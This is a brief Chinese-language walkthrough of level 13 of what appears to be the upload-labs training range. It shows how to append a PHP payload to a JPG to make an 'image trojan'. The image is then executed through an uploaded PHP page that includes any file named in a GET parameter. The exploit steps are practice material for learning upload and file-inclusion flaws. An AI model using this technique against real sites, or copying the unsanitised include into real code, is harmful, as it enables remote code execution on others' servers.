upload-lab13

1. upload-lab13

   首先生成图片马:
   材料:
   1.一个图片
   2.一个一句话木马,我在本篇文章使用的是文本类型是a.php,里面内容是: <?php phpinfo(); ?>
   3.一个自定义.php
   步骤:
   1.首先上传一个自定义的php网页,里面是文件包含内容: <?php $filename = $_GET['filename']; include($filename); ?>
   2.生成图片马,在命令行输入copy 图片名.jpg/b+a.php muma.jpg
   3.上传图片马
   4.点击并复制上传图片马生成的随机名，即地址 在浏览器访问 http://地址/wjsc/upload/自定义.php?filename=…/upload/生成的随机名.jpg